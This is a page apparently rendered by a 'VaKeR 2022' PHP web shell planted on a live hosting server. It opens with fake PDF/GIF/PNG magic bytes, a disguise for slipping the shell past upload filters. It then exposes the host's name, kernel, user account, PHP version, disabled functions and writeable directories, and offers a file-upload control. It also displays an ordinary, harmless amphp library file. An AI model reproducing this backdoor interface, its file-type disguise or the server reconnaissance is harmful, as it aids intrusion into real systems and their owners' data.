%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/amphp/byte-stream/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/amphp/byte-stream/lib/InputStreamChain.php
<?php

namespace Amp\ByteStream;

use Amp\Promise;
use Amp\Success;
use function Amp\call;

final class InputStreamChain implements InputStream
{
    /** @var InputStream[] */
    private $streams;
    /** @var bool */
    private $reading = false;

    public function __construct(InputStream ...$streams)
    {
        $this->streams = $streams;
    }

    /** @inheritDoc */
    public function read(): Promise
    {
        if ($this->reading) {
            throw new PendingReadError;
        }

        if (!$this->streams) {
            return new Success(null);
        }

        return call(function () {
            $this->reading = true;

            try {
                while ($this->streams) {
                    $chunk = yield $this->streams[0]->read();
                    if ($chunk === null) {
                        \array_shift($this->streams);
                        continue;
                    }

                    return $chunk;
                }

                return null;
            } finally {
                $this->reading = false;
            }
        });
    }
}

VaKeR 2022